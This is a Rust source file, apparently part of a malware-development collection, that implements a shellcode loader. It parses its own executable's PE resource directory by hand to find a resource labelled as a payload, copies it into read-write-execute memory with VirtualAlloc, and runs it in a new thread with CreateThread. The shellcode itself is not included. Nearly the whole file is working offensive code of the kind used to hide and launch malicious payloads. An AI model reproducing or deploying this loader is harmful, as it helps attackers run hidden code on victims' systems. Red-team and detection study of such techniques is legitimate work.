// ManualsrrcDataFetching Rust version 
// Author: @5mukx - Smukx

const MY_PAYLOAD: u16 = 0x314;

use std::{
    mem,
    ptr::{null, null_mut},
};


use windows_sys::Win32::{
    Foundation::{CloseHandle, HMODULE},
    System::{
        Diagnostics::Debug::{
            IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_RESOURCE, IMAGE_NT_HEADERS64,
            IMAGE_NT_OPTIONAL_HDR64_MAGIC,
        },
        LibraryLoader::GetModuleHandleA,
        Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAlloc},
        SystemServices::{
            IMAGE_DOS_HEADER, IMAGE_RESOURCE_DATA_ENTRY, IMAGE_RESOURCE_DIRECTORY,
            IMAGE_RESOURCE_DIRECTORY_ENTRY,
        },
        Threading::{CreateThread, WaitForSingleObject},
    },
};

fn get_resource_data(h_module: HMODULE, resource_id: u16) -> Option<(*const u8, u32)> {
    unsafe {
        let base_addr = h_module as *const u8;

        let dos_header = base_addr as *const IMAGE_DOS_HEADER;
        if (*dos_header).e_magic != 0x5A4D {
            // "MZ"
            return None;
        }

        let nt_headers =
            base_addr.add((*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;

        if (*nt_headers).OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC {
            return None;
        }

        let optional_header = &(*nt_headers).OptionalHeader;
        let data_directory = &optional_header.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE as usize]
            as *const IMAGE_DATA_DIRECTORY;

        if (*data_directory).Size == 0 {
            return None;
        }

        let resource_dir_addr = base_addr.add((*data_directory).VirtualAddress as usize);
        let resource_dir = resource_dir_addr as *const IMAGE_RESOURCE_DIRECTORY;

        let resource_entry = (resource_dir as *const u8)
            .add(mem::size_of::<IMAGE_RESOURCE_DIRECTORY>())
            as *const IMAGE_RESOURCE_DIRECTORY_ENTRY;

        // This is a very brittle approach, but we replicate it here for a direct translation.
        let num_entries = (*resource_dir).NumberOfNamedEntries + (*resource_dir).NumberOfIdEntries;

        for i in 0..num_entries {
            let entry1 = &*resource_entry.add(i as usize);

            // access the bitfield from the 2nd union
            let bitfield1 = entry1.Anonymous2.Anonymous._bitfield;
            let is_directory1 = (bitfield1 >> 31) & 1;

            if is_directory1 == 0 {
                continue;
            }

            let offset = (bitfield1 & 0x7FFFFFFF) as usize;
            let resource_dir2_addr = resource_dir_addr.add(offset);
            let resource_dir2 = resource_dir2_addr as *const IMAGE_RESOURCE_DIRECTORY;

            let resource_entry2 = (resource_dir2 as *const u8)
                .add(mem::size_of::<IMAGE_RESOURCE_DIRECTORY>())
                as *const IMAGE_RESOURCE_DIRECTORY_ENTRY;

            
            let bitfield2 = (*resource_entry2).Anonymous2.Anonymous._bitfield;
            let is_directory2 = (bitfield2 >> 31) & 1;

            if is_directory2 == 1 && (*resource_entry2).Anonymous1.Id == resource_id {
                let offset2 = (bitfield2 & 0x7FFFFFFF) as usize;
                let resource_dir3_addr = resource_dir_addr.add(offset2);
                let resource_dir3 = resource_dir3_addr as *const IMAGE_RESOURCE_DIRECTORY;

                let resource_entry3 = (resource_dir3 as *const u8)
                    .add(mem::size_of::<IMAGE_RESOURCE_DIRECTORY>())
                    as *const IMAGE_RESOURCE_DIRECTORY_ENTRY;

                let offset3 = (*resource_entry3).Anonymous2.OffsetToData as usize;
                let resource_data_entry_addr = resource_dir_addr.add(offset3);
                let resource_data_entry =
                    resource_data_entry_addr as *const IMAGE_RESOURCE_DATA_ENTRY;

                let data_ptr = base_addr.add((*resource_data_entry).OffsetToData as usize);
                let data_size = (*resource_data_entry).Size;

                return Some((data_ptr, data_size));
            }
        }
    }
    None
}

fn pause() {
    use std::io::{self, Read};
    println!("\n[+] Press Enter to continue...");
    let _ = io::stdin().read(&mut [0u8]).unwrap();
}

fn main() {
    println!("[+] Searching for resource with ID: {:#X}", MY_PAYLOAD);

    unsafe {
        // Get a handle to the current executable in memory.
        let h_module = GetModuleHandleA(null());
        if h_module == null_mut() {
            eprintln!("[!] Failed to get module handle.");
            return;
        }

        // Attempt to find the resource data.
        match get_resource_data(h_module, MY_PAYLOAD) {
            Some((data_ptr, data_size)) => {
                println!(
                    "[+] Found resource!\n    -> Address: {:p}\n    -> Size: {} bytes",
                    data_ptr, data_size
                );

                pause();

                // Allocate executable memory.
                println!("[+] Allocating {} bytes of executable memory...", data_size);
                let exec_mem = VirtualAlloc(
                    null_mut(),
                    data_size as usize,
                    MEM_COMMIT | MEM_RESERVE,
                    PAGE_EXECUTE_READWRITE,
                );

                if exec_mem.is_null() {
                    eprintln!("[!] Failed to allocate executable memory.");
                    return;
                }
                println!("[+] Memory allocated at: {:p}", exec_mem);

                // Copy the resource data (shellcode) into the allocated memory.
                std::ptr::copy_nonoverlapping(data_ptr, exec_mem as *mut u8, data_size as usize);
                println!("[+] Copied payload to executable memory.");

                // Execute the payload in a new thread.
                println!("[+] Creating a new thread to execute the payload...");
                let h_thread = CreateThread(
                    null_mut(),
                    0,
                    Some(std::mem::transmute(exec_mem)), // Transmute the memory pointer to a thread function pointer
                    null_mut(),
                    0,
                    null_mut(),
                );

                if h_thread == null_mut() {
                    eprintln!("[!] Failed to create thread.");
                } else {
                    println!(
                        "[+] Thread created successfully with handle: {:?}",
                        h_thread
                    );
                    println!("[+] Wait until the thread finish executing");

                    WaitForSingleObject(h_thread, 0xFFFFFFFF);

                    println!("[+] Thread has finished.");

                    CloseHandle(h_thread);
                }

                pause();
            }
            None => {
                eprintln!("[!] Could not find resource with ID: {:#X}", MY_PAYLOAD);
            }
        }
    }
}
